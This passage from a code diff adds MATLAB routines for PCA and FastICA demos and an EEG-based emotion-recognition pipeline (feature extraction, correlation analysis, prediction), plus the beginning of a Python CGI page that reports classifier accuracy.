ylabel(sprintf('Zica(%i,:)',i));
end
subplot(r,1,1);
title('Independent Components');
% Plot r-dimensional approximations
figure;
for i = 1:d
subplot(d,1,i);
hold on;
p1 = plot(Z(i,:),'--r');
p2 = plot(Zr(i,:),'-.b');
grid on;
ylabel(sprintf('Z(%i,:)',i));
end
subplot(d,1,1);
title(sprintf('%iD ICA approximation of %iD data',r,d));
legend([p1 p2],'Z','Zr');
@@ -0,0 +1,59 @@
%
% Name: demo_PCA1.m
%
% Description: Demonstrates the performance of PCA by decomposing
% correlated multivariate Gaussian samples into
% their principal components
%
% When d == r, the PCA reconstruction is *exact*. Thus
% PCA effectively transforms the input data into
% orthogonal, maximal variance components while preserving
% information
%
% Author: Brian Moore
% brimoor@umich.edu
%
% Date: April 26, 2015
%
rng(1);
% Knobs
n = 100; % # samples
d = 3; % Sample dimension
r = 2; % # principal components
% Generate Gaussian data
MU = 10 * rand(d,1);
sigma = (2 * randi([0 1],d) - 1) .* rand(d);
SIGMA = 3 * (sigma * sigma');
Z = myMultiGaussian(MU,SIGMA,n);
% Perform PCA
[Zpca T U mu] = myPCA(Z,r);
Zr = U / T * Zpca + repmat(mu,1,n);
% Plot principal components
figure;
for i = 1:r
subplot(r,1,i);
plot(Zpca(i,:),'b');
grid on;
ylabel(sprintf('Zpca(%i,:)',i));
end
subplot(r,1,1);
title('Principal Components');
% Plot r-dimensional approximations
figure;
for i = 1:d
subplot(d,1,i);
hold on;
p1 = plot(Z(i,:),'--r');
p2 = plot(Zr(i,:),'-.b');
grid on;
ylabel(sprintf('Z(%i,:)',i));
end
subplot(d,1,1);
title(sprintf('%iD PCA approximation of %iD data',r,d));
legend([p1 p2],'Z','Zr');
@@ -0,0 +1,66 @@
%
% Name: demo_PCA2.m
%
% Description: Generates multivariate Gaussian samples and applies PCA to
% extract the dimensions of maximum variance and projects the
% samples onto them
%
% Author: Brian Moore
% brimoor@umich.edu
%
% Date: April 26, 2015
%
rng(1);
% Knobs
n = 1000; % # samples
d = 3; % Sample dimension
r = 2; % # principal components
% Generate Gaussian data
MU = 10 * rand(d,1);
sigma = (2 * randi([0 1],d) - 1) .* rand(d);
SIGMA = 3 * (sigma * sigma');
Z = myMultiGaussian(MU,SIGMA,n);
% Perform PCA
[Zpca,~,~,~,eigVecs] = myPCA(Z,r);
% Plot samples + scaled eigenvectors
figure;
x = @(i,j) MU(i) + [0 eigVecs(i,j)];
if (d == 2)
% Plot 2D data
plot(Z(1,:),Z(2,:),'g+');
hold on;
for j = 1:r
plot(x(1,j),x(2,j),'b','Linewidth',3);
end
else
% Plot first 3 dimensions
plot3(Z(1,:),Z(2,:),Z(3,:),'g+');
hold on;
for j = 1:r
plot3(x(1,j),x(2,j),x(3,j),'b','Linewidth',3);
end
end
title(sprintf('First %i principal directions of %iD Gaussian samples',min(3,r),d));
grid on;
set(gca,'DataAspectRatio',[1 1 1]);
% Plot principal componenets
figure;
if (r == 2)
% Plot 2D data
plot(Zpca(1,:),Zpca(2,:),'r+');
else
% Plot first 3 dimensions
plot3(Zpca(1,:),Zpca(2,:),Zpca(3,:),'r+');
zlabel('Principal direction #3');
end
title(sprintf('Zpca(1:%i,:)',min(3,r)));
xlabel('Principal direction #1');
ylabel('Principal direction #2');
grid on;
set(gca,'DataAspectRatio',[1 1 1]);
@@ -0,0 +1,28 @@
function [Zc mu] = myCenter(Z)
%--------------------------------------------------------------------------
% Syntax: Zc = myCenter(Z);
% [Zc mu] = myCenter(Z);
%
% Inputs: Z is an (d x n) matrix containing n samples of a
% d-dimensional random vector
%
% Outputs: Zc is the centered version of Z
%
% mu is the (d x 1) sample mean of Z
%
% Description: This function returns the centered (i.e., zero mean)
% version of the input samples
%
% NOTE: Z = Zc + repmat(mu,1,n);
%
% Author: Brian Moore
% brimoor@umich.edu
%
% Date: April 26, 2015
%--------------------------------------------------------------------------
% Compute sample mean
mu = mean(Z,2);
% Subtract mean
Zc = bsxfun(@minus,Z,mu);
@@ -0,0 +1,31 @@
function [Zcw T mu] = myCenterAndWhiten(Z)
%--------------------------------------------------------------------------
% Syntax: Zcw = myCenterAndWhiten(Z);
% [Zcw T] = myCenterAndWhiten(Z);
% [Zcw T mu] = myCenterAndWhiten(Z);
%
% Inputs: Z is an (d x n) matrix containing n samples of a
% d-dimensional random vector
%
% Outputs: Zcw is the centered and whitened version of Z
%
% T is the (d x d) whitening transformation of Z
%
% mu is the (d x 1) sample mean of Z
%
% Description: This function returns the centered (zero-mean) and whitened
% (identity covariance) version of the input samples
%
% NOTE: Z = T \ Zcw + repmat(mu,1,n);
%
% Author: Brian Moore
% brimoor@umich.edu
%
% Date: April 26, 2015
%--------------------------------------------------------------------------
% Center data
[Zc mu] = myCenter(Z);
% Whiten data
[Zcw T] = myWhiten(Zc);
@@ -0,0 +1,92 @@
function [Zica A T mu] = myICA(Z,r,dispFlag)
%--------------------------------------------------------------------------
% Syntax: Zica = myICA(Z,r);
% Zica = myICA(Z,r,dispFlag);
% [Zica A T mu] = myICA(Z,r);
% [Zica A T mu] = myICA(Z,r,dispFlag);
%
% Inputs: Z is an (d x n) matrix containing n samples of an
% d-dimensional random vector
%
% r is the desired number of independent components
%
% [OPTIONAL] dispFlag = {true false} sets the stdout print
% state. The default value is dispFlag = true
%
% Outputs: Zica is an (r x n) matrix containing the r independent
% components - scaled to variance 1 - of the input samples
%
% A and T are the ICA transformation matrices such that
% Zr = T \ pinv(A) * Zica + repmat(mu,1,n);
% is the r-dimensional ICA approximation of Z
%
% mu is the (d x 1) sample mean of Z
%
% Description: This function performs independent component analysis (ICA)
% on the input samples using the FastICA algorithm with
% Gaussian negentropy
%
% Author: Brian Moore
% brimoor@umich.edu
%
% Date: April 26, 2015
%--------------------------------------------------------------------------
% Knobs
eps = 1e-6; % Convergence criteria
maxSamples = 1000; % Max # data points in sample mean calculation
maxIters = 100; % Maximum # iterations
% Parse display flag
dispFlag = (nargin < 3) || dispFlag;
% Center and whiten input data
[Zcw T mu] = myCenterAndWhiten(Z);
% Parse whitened data
[d n] = size(Zcw);
if (n > maxSamples)
% Truncate data for sample mean calculations
Zcwt = Zcw(:,randperm(n,maxSamples));
else
% Full data
Zcwt = Zcw;
end
% Random initial weights
normRows = @(X) bsxfun(@times,X,1 ./ sqrt(sum(X.^2,2)));
W = normRows(rand(r,d));
% FastICA w/ Gaussian negentropy
k = 0;
err = inf;
while (err > eps) && (k < maxIters)
% Increment counter
k = k + 1;
% Update weights
Wlast = W; % Save last weights
Sk = permute(Wlast * Zcwt,[1 3 2]);
G = Sk .* exp(-0.5 * Sk.^2);
Gp = Sk .* G;
W = mean(bsxfun(@times,G,permute(Zcwt,[3 1 2])),3) + bsxfun(@times,mean(Gp,3),Wlast);
W = normRows(W);
% Decorrelate weights
[U,S,~] = svd(W,'econ');
W = U * diag(1 ./ diag(S)) * U' * W;
% Update error
err = max(1 - dot(W,Wlast,2));
% Display progress
if dispFlag == true
sprintf('Iteration %i: max(1 - <w%i,w%i>) = %.4g\n',k,k,k - 1,err);
end
end
% Transformation matrix
A = W;
% Independent components
Zica = A * Zcw;
@@ -0,0 +1,42 @@
function Z = myMultiGaussian(MU,SIGMA,n)
%--------------------------------------------------------------------------
% Syntax: Z = myMultiGaussian(MU,SIGMA);
% Z = myMultiGaussian(MU,SIGMA,n);
%
% Inputs: MU is the desired (d x 1) mean vector
%
% SIGMA is the desired (d x d) covariance matrix
%
% [OPTIONAL] n is the desired number of samples. The default
% value is n = 1
%
% Outputs: Z is a (d x n) matrix containing n multivariate Gaussian
% samples
%
% Description: This function generates samples from a d-dimensional
% multivariate Gaussian random variable with mean vector MU
% and covariance matrix SIGMA
%
% NOTE: mean(Z,2) ~ MU
% cov(Z') ~ SIGMA
%
% Author: Brian Moore
% brimoor@umich.edu
%
% Date: April 26, 2015
%--------------------------------------------------------------------------
% Parse inputs
[d d2] = size(SIGMA);
if (d ~= d2) || (d ~= length(MU))
% Syntax error
error('Syntax error... Type "help myMultiGaussian" for more info');
end
if nargin < 3
% Default # samples
n = 1;
end
% Generate samples
L = chol(SIGMA,'lower');
Z = repmat(MU,1,n) + L * randn(d,n);
@@ -0,0 +1,55 @@
function [Zpca T U mu eigVecs] = myPCA(Z,r)
%--------------------------------------------------------------------------
% Syntax: Zpca = myPCA(Z,r);
% [Zpca T U mu] = myPCA(Z,r);
% [Zpca T U mu eigVecs] = myPCA(Z,r);
%
% Inputs: Z is an (d x n) matrix containing n samples of a
% d-dimensional random vector
%
% r is the desired number of principal components
%
% Outputs: Zpca is a (r x n) matrix containing the r principal
% components - scaled to variance 1 - of the input samples
%
% U and T are the PCA transformation matrices such that
% Zr = U / T * Zpca + repmat(mu,1,n);
% is the r-dimensional PCA approximation of Z
%
% mu is the (d x 1) sample mean of Z
%
% eigVecs is a (d x r) matrix containing the scaled
% eigenvectors of the sample covariance of Z
%
% Description: This function performs principal component analysis (PCA)
% on the input samples
%
% Author: Brian Moore
% brimoor@umich.edu
%
% Date: April 26, 2015
%--------------------------------------------------------------------------
% Center data
[Zc mu] = myCenter(Z);
% Compute truncated SVD
%[U S V] = svds(Zc,r); % Equivalent, but usually slower than svd()
[U S V] = svd(Zc,'econ');
U = U(:,1:r);
S = S(1:r,1:r);
V = V(:,1:r);
% Compute principal components
Zpca = S * V';
%Zpca = U' * Zc; % Equivalent but slower
% Whiten data, if desired
%[Zpca T] = myWhiten(Zpca);
T = eye(r); % No whitening
% Return scaled eigenvectors, if necessary
if (nargout >= 5)
[~,n] = size(Z);
eigVecs = bsxfun(@times,U,diag(S)' / sqrt(n));
end
@@ -0,0 +1,32 @@
function [Zw T] = myWhiten(Z)
%--------------------------------------------------------------------------
% Syntax: Zw = myWhiten(Z);
% [Zw T] = myWhiten(Z);
%
% Inputs: Z is an (d x n) matrix containing n samples of a
% d-dimensional random vector
%
% Outputs: Zw is the whitened version of Z
%
% T is the (d x d) whitening transformation of Z
%
% Description: This function returns the whitened (identity covariance)
% version of the input samples
%
% NOTE: Must have n >= d to fully whiten Z
%
% NOTE: Z = T \ Zcw;
%
% Author: Brian Moore
% brimoor@umich.edu
%
% Date: April 26, 2015
%--------------------------------------------------------------------------
% Compute sample covariance
R = cov(Z');
% Whiten data
[U,S,~] = svd(R,'econ');
T = U * diag(1 ./ sqrt(diag(S))) * U';
Zw = T * Z;
@@ -0,0 +1,60 @@
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%Author : Muhammad Nadzeri Munawar
%
%
%This code is to create absolute_power variable of subject no. 20 such as :
%delta, theta, alpha, beta, gamma with shape 32x5x40. 32 mean total of
%channel, 5 mean total absolute power, 40 mean 40 trial
%
% project_path -> 'D:\TUGAS AKHIR\Progress\24. (08-12-2015)'
% method -> fft;ica_fft;swt;ica_swt
% subject -> [2,4,6,7,8,9,10,13,15,16,21,25,26,28,29,30];
% channel -> [2,3,4,5,6,7,8,14];
% fb -> for fft : 1.Delta;2.Theta;3.Alpha;4.Beta;5.Gamma - for swt : 1.A5;2.D5;3.D4;4.D3;5.D2
% features -> 1. Min;2.Max;3.Std;4.Avg;5.Pow;6.Energy
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
function preProcessing(project_path,method,class,subject,channel,fb,features)
%%%%%%%%%%%%%%
project_path = strcat(pwd,'\..\..');
method='fft';%'ica_fft','swt','ica_swt';
% class='arousal';%'valence';
% subject = 1:34;
fb = 1:5;
features = 3:4;
channel = 1:14;
%Arousal
class='arousal';%'valence';
subject = [16,13,10,28,11,7,6,2,20,26,29,15,4,30,5,34,9,24,8,23];
% fb = [3,4,5];
% features = [2,3];
% channel = [3,13,10,2,1,12,4,7,8,11];
%Valence
% class='valence';%'valence';
% subject = [16,25,34,9,5,4,20,28,2,6,32,29,15,10,22,11,8,1,31,13];
% fb = [3,4,5];
% features = [2,3];
% channel = [10,3,14,5,1,8,6,4,7,11];
%%%%%%%%%%%%%%%
if strcmp(method,'fft')
computeFFT(project_path,method,class,subject,channel,fb,features);
elseif strcmp(method,'ica_fft')
if exist(strcat(project_path,'\ICA_EEG'), 'dir')==0
computeICA(project_path);
end
computeFFT(project_path,method,class,subject,channel,fb,features);
elseif strcmp(method,'swt')
computeSWT(project_path,method,class,subject,channel,fb,features);
elseif strcmp(method,'ica_swt')
if exist(strcat(project_path,'\ICA_EEG'), 'dir')==0
computeICA(project_path);
end
computeSWT(project_path,method,class,subject,channel,fb,features);
end
end
@@ -0,0 +1,23 @@
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%Author : Muhammad Nadzeri Munawar
%
%
%This code is to create absolute_power variable of subject no. 20 such as :
%delta, theta, alpha, beta, gamma with shape 32x5x40. 32 mean total of
%channel, 5 mean total absolute power, 40 mean 40 trial
%
% project_path -> 'D:\TUGAS AKHIR\Progress\24. (08-12-2015)'
% method -> fft;ica_fft;swt;ica_swt
% subject -> [2,4,6,7,8,9,10,13,15,16,21,25,26,28,29,30];
% channel -> [2,3,4,5,6,7,8,14];
% fb -> for fft : 1.Delta;2.Theta;3.Alpha;4.Beta;5.Gamma - for swt : 1.A5;2.D5;3.D4;4.D3;5.D2
% features -> 1. Min;2.Max;3.Std;4.Avg;5.Pow;6.Energy
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
function result = preProcessingPredict(raw_data,preprocessing_method,channel,fb,features)
if strcmp(preprocessing_method,'fft') || strcmp(preprocessing_method,'ica_fft')
result = computeFFTPredict(raw_data,preprocessing_method,channel,fb,features);
elseif strcmp(preprocessing_method,'swt') || strcmp(preprocessing_method,'ica_swt')
result = computeSWTPredict(raw_data,preprocessing_method,channel,fb,features);
end
end
+47
Ver Arquivo
@@ -0,0 +1,47 @@
function cutData(dataset_path,project_path)
addpath(genpath('..\Global Code'));
dataset_eeg_path = strcat(dataset_path,'\EEG');
len1 = 640;
len2 = 3200;
allList = dir(dataset_eeg_path);
allDir = { allList(3:end).name };
if exist(strcat(project_path,'\EEG"'), 'dir')
system(strcat('rmdir /S /Q "',project_path,'\EEG"'));
end
createFolder(length(allDir),strcat(project_path,'\EEG'));
for i=1:length(allDir)
dataOneDir = allDir{i};
allFileList = dir(strcat(dataset_eeg_path,'\',dataOneDir));
allFileName = { allFileList(3:end).name };
for j = 1:length(allFileName)
dataOneFile = allFileName{j};
dataEEG = csvread(strcat(dataset_eeg_path,'\',dataOneDir,'\',dataOneFile),1,0);
start = mod(length(dataEEG),4)+1;
dataEEG = dataEEG(start:end,3:16);
L = length(dataEEG);
if L>=len2
used = (L - len2)/2;
elseif L>=len1
used = (L - len1)/2;
else
continue;
end
start = used+1;
stop = L - used;
rawData = transpose(dataEEG(start:stop,:));
fileNewName = dataOneFile(5:end-22);
csvwrite(strcat(project_path,'\EEG\',dataOneDir,'\',fileNewName,'.csv'),rawData);
end
end
end
@@ -0,0 +1,27 @@
function raw_data = cutDataPredict(file_path)
normRows = @(XXX) bsxfun(@times,XXX,1 ./ sqrt(sum(XXX.^2,2))); %Normalisasi Euclidean
len1 = 640;
dataEEG = csvread(file_path,1,0);
start = mod(length(dataEEG),4)+1;
dataEEG = dataEEG(start:end,3:16);
L = length(dataEEG);
if L>=len1
used = (L - len1)/2;
end
start = used+1;
stop = L - used;
raw_data = transpose(dataEEG(start:stop,:));
%raw_data = normRows(raw_data);
for i=1:14
path = strcat('../../Web App/img/raw_data/',num2str(i),'.png');
set(gcf,'Visible','off');
plot(raw_data(i,:));
print(path,'-dpng');
end
end
@@ -0,0 +1,61 @@
function divideFiveSeconds(dataset_path,project_path)
addpath(genpath('..\Global Code'));
normRows = @(XXX) bsxfun(@times,XXX,1 ./ sqrt(sum(XXX.^2,2))); %Normalisasi Euclidean
base_path = strcat(project_path,'\EEG');
base_path2 = strcat(project_path,'\USED_EEG');
dataKuesioner = csvread(strcat(dataset_path,'\metadata\list questionnairre.csv'));
counterNewKuesioner=1;
counterKuesioner=1;
newDataKuesioner={};
allList = dir( base_path );
allDir = { allList(3:end).name };
lewat=0;
if exist(base_path2, 'dir')
system(strcat('rmdir /S /Q "',base_path2,'"'));
end
createFolder(length(allDir),base_path2);
for i=1:length(allDir)
dataOneDir = allDir{i};
allFileList = dir(strcat(base_path,'\',dataOneDir));
allFileName = { allFileList(3:end).name };
counter=1;
for j = 1:length(allFileName)
dataOneFile = allFileName{j};
dataEEG = csvread(strcat(base_path,'\',dataOneDir,'\',dataOneFile));
%dataEEG = normRows(dataEEG);
if length(dataEEG(1,:))==640
csvwrite(strcat(base_path2,'\',dataOneDir,'\T',num2str(counter),'.csv'),dataEEG);
newDataKuesioner{counterNewKuesioner} = dataKuesioner(counterKuesioner,:);
counter=counter+1;
counterKuesioner=counterKuesioner+1;
counterNewKuesioner=counterNewKuesioner+1;
elseif length(dataEEG(1,:))==3200
start=1;
stop=640;
for k=1:5
csvwrite(strcat(base_path2,'\',dataOneDir,'\T',num2str(counter),'.csv'),dataEEG(:,start:stop));
newDataKuesioner{counterNewKuesioner} = dataKuesioner(counterKuesioner,:);
start=stop+1;
stop=stop+640;
counter=counter+1;
counterNewKuesioner=counterNewKuesioner+1;
end
counterKuesioner=counterKuesioner+1;
else
lewat=lewat+1;
end
end
end
newDataKuesioner = reshape(cell2mat(newDataKuesioner),2,[]);
newDataKuesioner = transpose(newDataKuesioner);
mkdir(strcat(project_path,'\Metadata'));
csvwrite(strcat(project_path,'\Metadata\newDataKuesioner.csv'),newDataKuesioner);
end
+8
Ver Arquivo
@@ -0,0 +1,8 @@
function processData(dataset_path)
dataset_path = 'D:\TUGAS AKHIR\Datasets';
project_path = strcat(pwd,'\..\..');
%%%%%%%%%%%%%
cutData(dataset_path,project_path);
divideFiveSeconds(dataset_path,project_path);
end
+106
Ver Arquivo
@@ -0,0 +1,106 @@
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%Author : Muhammad Nadzeri Munawar
%
%
%This code is to create absolute_power variable of subject no. 20 such as :
%delta, theta, alpha, beta, gamma with shape 32x5x40. 32 mean total of
%channel, 5 mean total absolute power, 40 mean 40 trial
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
function absolute_power = absolute(project_path,method)
% define initial variable
if strcmp(method,'fft') || strcmp(method,'swt')
basePath = strcat(project_path,'\USED_EEG\');
elseif strcmp(method,'ica_fft') || strcmp(method,'ica_swt')
basePath = strcat(project_path,'\ICA_EEG\');
end
all_files = dir(basePath);
all_files = all_files(3:end);
all_dir = all_files([all_files(:).isdir]);
subjects = numel(all_dir);
channel = 14;%define total channel
samplingFrequency = 128;
for h = 1:subjects
directory = sprintf('S%02d',h);
allList = dir( strcat(basePath,directory ));
allFiles = { allList(3:end).name };
%looping trial for define absolut power for each trial
for i = 1:length(allFiles)
%looping channel for compute absolute power for each channel
for j = 1:channel
%open spesific file according trial and channel
%Contain each channel per file (In this case subject no. 20)
X = csvread(strcat(basePath,directory,'\T',num2str(i),'.csv'));
X = X(j,:);
if strcmp(method,'swt')||strcmp(method,'ica_swt')
[swa,swd] = swt(X,5,'db4');
d2=swd(2,:);
d3=swd(3,:);
d4=swd(4,:);
d5=swd(5,:);
a5=swa(5,:);
absolute_power(h,j,1,i) = mean(d2)+std(d2)+min(d2)+max(d2);
absolute_power(h,j,2,i) = mean(d3)+std(d3)+min(d3)+max(d3);
absolute_power(h,j,3,i) = mean(d4)+std(d4)+min(d4)+max(d4);
absolute_power(h,j,4,i) = mean(d5)+std(d5)+min(d5)+max(d5);
absolute_power(h,j,5,i) = mean(a5)+std(a5)+min(a5)+max(a5);
% absolute_power(h,j,1,i) = sum(d2.^2);
% absolute_power(h,j,2,i) = sum(d3.^2);
% absolute_power(h,j,3,i) = sum(d4.^2);
% absolute_power(h,j,4,i) = sum(d5.^2);
% absolute_power(h,j,5,i) = sum(a5.^2);
elseif strcmp(method,'fft')||strcmp(method,'ica_fft')
Fs = samplingFrequency; % Sampling frequency
L = length(X); % Length of signal
%compute fft from channel
Y = fft(X);
%Divide fft to get frequency
P2 = abs(Y/L);
P1 = P2(1:L/2+1);
P1(2:end-1) = 2*P1(2:end-1);
%divide froquency to get delta, theta, alpha, beta, gamma
%And average all of each range (delta, theta, alpha, beta, gamma)
delta = P1(L*1/Fs:L*4/Fs);
theta = P1(L*4/Fs:L*8/Fs);
alpha = P1(L*8/Fs:L*13/Fs);
beta = P1(L*13/Fs:L*30/Fs);
gamma = P1(L*30/Fs:L*50/Fs);
delta = mean(delta)+std(delta)+min(delta)+max(delta);
theta = mean(theta)+std(theta)+min(theta)+max(theta);
alpha = mean(alpha)+std(alpha)+min(alpha)+max(alpha);
beta = mean(beta)+std(beta)+min(beta)+max(beta);
gamma = mean(gamma)+std(gamma)+min(gamma)+max(gamma);
% delta = max(delta)+std(delta);
% theta = max(delta)+std(theta);
% alpha = max(delta)+std(alpha);
% beta = max(delta)+std(beta);
% gamma = max(delta)+std(gamma);
%Create absolute power
%Each channel create absolute power (delta,theta,alpha,beta,gamma)
%from each trial
absolute_power(h,j,1,i) = delta;
absolute_power(h,j,2,i) = theta;
absolute_power(h,j,3,i) = alpha;
absolute_power(h,j,4,i) = beta;
absolute_power(h,j,5,i) = gamma;
end
end
end
end
end
@@ -0,0 +1,30 @@
function correlation_data = correlation(project_path,absolute_power)
basePath = strcat(project_path,'\USED_EEG\');
kuesioner = csvread(strcat(project_path,'\Metadata\newDataKuesioner.csv'));
kuesioner = transpose(kuesioner);
start = 0;
stop = 0;
subject = size(absolute_power);
subject = subject(1);
for h=1:subject
directory = sprintf('S%02d',h);
allList = dir( strcat(basePath,directory ));
allFiles = { allList(3:end).name };
trial = length(allFiles);
start = stop+1;
stop = stop + trial;
for k=1:2
for i=1:14
for j=1:5
temp = corrcoef(kuesioner(k,start:stop), reshape(absolute_power(h,i,j,1:trial),1,trial));
correlation_data(h,k,i,j) = temp(1,2);
end
end
end
end
end
@@ -0,0 +1,49 @@
function [sum_ch_arousal,sum_ch_valence,sum_fb_arousal,sum_fb_valence,sum_sb_arousal,sum_sb_valence] = processCorrelation(correlation_data)
th = 0.35;
subjects = size(correlation_data);
subjects = subjects(1);
fb_valence = zeros(subjects,5);
fb_arousal = zeros(subjects,5);
ch_valence = zeros(subjects,14);
ch_arousal = zeros(subjects,14);
correlation_data = abs(correlation_data);
for i = 1:subjects
correlation_value = reshape(correlation_data(i,1,:,:),14,5);
idx_corr = correlation_value<th;
correlation_value(idx_corr)=0;
fb_valence(i,:) = sum(correlation_value);
end
for i = 1:subjects
correlation_value = reshape(correlation_data(i,2,:,:),14,5);
idx_corr = correlation_value<th;
correlation_value(idx_corr)=0;
fb_arousal(i,:) = sum(correlation_value);
end
for i = 1:subjects
correlation_value = transpose(reshape(correlation_data(i,1,:,:),14,5));
idx_corr = correlation_value<th;
correlation_value(idx_corr)=0;
ch_valence(i,:) = sum(correlation_value);
end
for i = 1:subjects
correlation_value = transpose(reshape(correlation_data(i,2,:,:),14,5));
idx_corr = correlation_value<th;
correlation_value(idx_corr)=0;
ch_arousal(i,:) = sum(correlation_value);
end
sum_ch_arousal = sum(ch_arousal);
sum_ch_valence = sum(ch_valence);
sum_fb_arousal = sum(fb_arousal);
sum_fb_valence = sum(fb_valence);
sum_sb_arousal = sum(fb_arousal,2);
sum_sb_valence = sum(fb_valence,2);
end
@@ -0,0 +1,16 @@
function [sum_ch_arousal,sum_ch_valence,sum_fb_arousal,sum_fb_valence,sum_sb_arousal,sum_sb_valence] = statisticalAnalysis(method)
project_path = strcat(pwd,'\..\..');
method = 'fft';%'ica_fft','swt','ica_swt';
%%%%%%%%%%%%%%%
if strcmp(method,'ica_fft')||strcmp(method,'ica_swt')
if exist(strcat(project_path,'\ICA_EEG'), 'dir')==0
addpath(genpath('..\Preprocessing'));
computeICA(project_path);
end
end
absolute_power = absolute(project_path,method);
correlation_data = correlation(project_path,absolute_power);
[sum_ch_arousal,sum_ch_valence,sum_fb_arousal,sum_fb_valence,sum_sb_arousal,sum_sb_valence] = processCorrelation(correlation_data);
end
+1
Ver Arquivo
@@ -0,0 +1 @@
python -m CGIHTTPServer 8080
+900
Ver Arquivo
@@ -0,0 +1,900 @@
#!/usr/bin/env python
# Import modules for CGI handling
import cgi, cgitb
import matlab.engine
print "Content-type: text/html\n"
# Create matlab file
eng = matlab.engine.start_matlab()
# Classification matlab path
function_path = 'D:/TUGAS AKHIR/Progress/SIDANG/Source Code/Classification'
# Call matlab function
eng.eval("cd '"+function_path+"';",nargout=0)
#Valence FFT
(t,r,tp_valence_fft_knn,tn_valence_fft_knn,fp_valence_fft_knn,fn_valence_fft_knn) = eng.eval("doAccuracy('fft','valence','knn');",nargout=6);
(t,r,tp_valence_fft_svm,tn_valence_fft_svm,fp_valence_fft_svm,fn_valence_fft_svm) = eng.eval("doAccuracy('fft','valence','svm');",nargout=6);
#Valence ICA + FFT
(t,r,tp_valence_ica_fft_knn,tn_valence_ica_fft_knn,fp_valence_ica_fft_knn,fn_valence_ica_fft_knn) = eng.eval("doAccuracy('ica_fft','valence','knn');",nargout=6);
(t,r,tp_valence_ica_fft_svm,tn_valence_ica_fft_svm,fp_valence_ica_fft_svm,fn_valence_ica_fft_svm) = eng.eval("doAccuracy('ica_fft','valence','svm');",nargout=6);
#Valence SWT
(t,r,tp_valence_swt_knn,tn_valence_swt_knn,fp_valence_swt_knn,fn_valence_swt_knn) = eng.eval("doAccuracy('swt','valence','knn');",nargout=6);
(t,r,tp_valence_swt_svm,tn_valence_swt_svm,fp_valence_swt_svm,fn_valence_swt_svm) = eng.eval("doAccuracy('swt','valence','svm');",nargout=6);
#Valence ICA + SWT
(t,r,tp_valence_ica_swt_knn,tn_valence_ica_swt_knn,fp_valence_ica_swt_knn,fn_valence_ica_swt_knn) = eng.eval("doAccuracy('ica_swt','valence','knn');",nargout=6);
(t,r,tp_valence_ica_swt_svm,tn_valence_ica_swt_svm,fp_valence_ica_swt_svm,fn_valence_ica_swt_svm) = eng.eval("doAccuracy('ica_swt','valence','svm');",nargout=6);
#Arousal FFT
(t,r,tp_arousal_fft_knn,tn_arousal_fft_knn,fp_arousal_fft_knn,fn_arousal_fft_knn) = eng.eval("doAccuracy('fft','arousal','knn');",nargout=6);
(t,r,tp_arousal_fft_svm,tn_arousal_fft_svm,fp_arousal_fft_svm,fn_arousal_fft_svm) = eng.eval("doAccuracy('fft','arousal','svm');",nargout=6);
#Arousal ICA + FFT
(t,r,tp_arousal_ica_fft_knn,tn_arousal_ica_fft_knn,fp_arousal_ica_fft_knn,fn_arousal_ica_fft_knn) = eng.eval("doAccuracy('ica_fft','arousal','knn');",nargout=6);
(t,r,tp_arousal_ica_fft_svm,tn_arousal_ica_fft_svm,fp_arousal_ica_fft_svm,fn_arousal_ica_fft_svm) = eng.eval("doAccuracy('ica_fft','arousal','svm');",nargout=6);
#Arousal SWT
(t,r,tp_arousal_swt_knn,tn_arousal_swt_knn,fp_arousal_swt_knn,fn_arousal_swt_knn) = eng.eval("doAccuracy('swt','arousal','knn');",nargout=6);
(t,r,tp_arousal_swt_svm,tn_arousal_swt_svm,fp_arousal_swt_svm,fn_arousal_swt_svm) = eng.eval("doAccuracy('swt','arousal','svm');",nargout=6);
#Arousal ICA + SWT
(t,r,tp_arousal_ica_swt_knn,tn_arousal_ica_swt_knn,fp_arousal_ica_swt_knn,fn_arousal_ica_swt_knn) = eng.eval("doAccuracy('ica_swt','arousal','knn');",nargout=6);
(t,r,tp_arousal_ica_swt_svm,tn_arousal_ica_swt_svm,fp_arousal_ica_swt_svm,fn_arousal_ica_swt_svm) = eng.eval("doAccuracy('ica_swt','arousal','svm');",nargout=6);
print '''<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="description" content="">
<meta name="author" content="">
<title>EEG Emotion Recognition</title>
<!-- Bootstrap Core CSS -->
<link href="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/bootstrap/dist/css/bootstrap.min.css" rel="stylesheet">
<!-- MetisMenu CSS -->
<link href="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/metisMenu/dist/metisMenu.min.css" rel="stylesheet">
<!-- Timeline CSS -->
<link href="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/dist/css/timeline.css" rel="stylesheet">
<!-- Custom CSS -->
<link href="../css/accuracy.css" rel="stylesheet">
<!-- Morris Charts CSS -->
<link href="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/morrisjs/morris.css" rel="stylesheet">
<!-- Custom Fonts -->
<link href="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/font-awesome/css/font-awesome.min.css" rel="stylesheet" type="text/css">
<!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries -->
<!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
<!--[if lt IE 9]>
<script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
<script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>
<![endif]-->
</head>
<body>
<div id="wrapper">
<div id="page-wrapper">
<div class="row">
<div class="col-lg-12">
<a href="index.py" style="text-decoration:none;color: #000;"><h1 class="page-header text-center">EEG Emotion Recognition</h1></a>
</div>
<!-- /.col-lg-12 -->
</div>
<!-- /.row -->
<div class="row">
<div class="col-lg-3">
<div class="panel panel-default">
<div class="panel-heading">
Fast Fourier Transformation
</div>
<div class="panel-body">
<div class="panel panel-default">
<div class="panel-heading">
K-Neirest Neighbord
</div>
<!-- /.panel-heading -->
<div class="panel-body">
<div class="panel panel-default">
<div class="panel-heading">
Valence
</div>
<!-- /.panel-heading -->
<div class="panel-body">
<div class="table-responsive">
